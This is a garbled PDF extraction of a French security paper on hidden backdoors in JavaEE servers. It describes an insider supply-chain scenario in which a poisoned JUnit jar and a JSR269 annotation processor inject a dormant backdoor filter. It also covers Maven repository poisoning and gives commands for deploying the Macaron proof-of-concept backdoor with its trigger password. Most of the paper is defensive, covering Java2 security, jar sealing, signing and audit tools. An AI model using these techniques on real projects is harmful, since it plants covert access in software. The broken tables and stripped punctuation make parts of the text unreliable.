Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
